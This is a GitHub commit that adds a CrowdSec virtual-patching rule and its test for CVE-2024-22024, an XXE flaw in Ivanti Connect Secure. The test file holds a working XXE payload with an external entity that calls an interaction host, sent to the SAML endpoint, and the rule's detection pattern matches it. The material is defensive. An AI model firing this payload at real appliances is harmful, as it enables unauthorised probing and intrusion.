Skip to content

Commit

Permalink
Add CVE-2024-22024 vpatch rule (#1010)
Browse files Browse the repository at this point in the history
* Add CVE-2024-22024 vpatch rule
  • Loading branch information
AlteredCoder authored Mar 26, 2024
1 parent 8df4a3f commit 4518153
Show file tree
Hide file tree
Showing 6 changed files with 90 additions and 1 deletion.
24 changes: 24 additions & 0 deletions .appsec-tests/CVE-2024-22024/CVE-2024-22024.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
id: CVE-2024-22024
info:
name: CVE-2024-22024
author: crowdsec
severity: info
description: CVE-2024-22024 testing
tags: appsec-testing

variables:
payload: '<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM
"http://{{interactsh-url}}/x"> %watchTowr;]><r></r>'

http:
- raw:
- |
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
SAMLRequest={{base64(payload)}}
matchers:
- type: status
status:
- 403
3 changes: 3 additions & 0 deletions .appsec-tests/CVE-2024-22024/config.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
appsec-rules:
- ./appsec-rules/crowdsecurity/vpatch-CVE-2024-22024.yaml
nuclei_template: CVE-2024-22024.yaml
2 changes: 1 addition & 1 deletion .index.json
Original file line number Diff line number Diff line change
Expand Up @@ -15004,4 +15004,4 @@
}
}
}
}
}
39 changes: 39 additions & 0 deletions appsec-rules/crowdsecurity/vpatch-CVE-2024-22024.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
name: crowdsecurity/vpatch-CVE-2024-22024
description: "Ivanti Connect Secure - XXE (CVE-2024-22024)"
rules:
- and:
- zones:
- METHOD
match:
type: equals
value: POST
- zones:
- URI
transform:
- lowercase
match:
type: endsWith
value: "/dana-na/auth/saml-sso.cgi"
- zones:
- BODY_ARGS
transform:
- b64decode
variables:
- SAMLRequest
match:
type: contains
value: "<!ENTITY"
labels:
type: exploit
service: http
confidence: 3
spoofable: 0
behavior: "http:exploit"
label: "Ivanti Connect Secure - XXE"
classification:
- cve.CVE-2024-22024
- attack.T1595
- attack.T1190
- cwe.CWE-611


1 change: 1 addition & 0 deletions collections/crowdsecurity/appsec-virtual-patching.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -42,6 +42,7 @@ appsec-rules:
- crowdsecurity/vpatch-CVE-2024-1212
- crowdsecurity/vpatch-symfony-profiler
- crowdsecurity/vpatch-connectwise-auth-bypass
- crowdsecurity/vpatch-CVE-2024-22024
appsec-configs:
- crowdsecurity/virtual-patching
parsers:
Expand Down
22 changes: 22 additions & 0 deletions taxonomy/scenarios.json
Original file line number Diff line number Diff line change
Expand Up @@ -779,6 +779,28 @@
"CVE-2024-1212"
]
},
"crowdsecurity/vpatch-CVE-2024-22024": {
"name": "crowdsecurity/vpatch-CVE-2024-22024",
"description": "Ivanti Connect Secure - XXE (CVE-2024-22024)",
"label": "Ivanti Connect Secure - XXE",
"behaviors": [
"http:exploit"
],
"mitre_attacks": [
"TA0043:T1595",
"TA0001:T1190"
],
"confidence": 3,
"spoofable": 0,
"cti": true,
"service": "http",
"cves": [
"CVE-2024-22024"
],
"cwes": [
"CWE-611"
]
},
"crowdsecurity/vpatch-CVE-2024-23897": {
"name": "crowdsecurity/vpatch-CVE-2024-23897",
"description": "Jenkins CLI RCE (CVE-2024-23897)",
Expand Down

0 comments on commit 4518153

Please sign in to comment.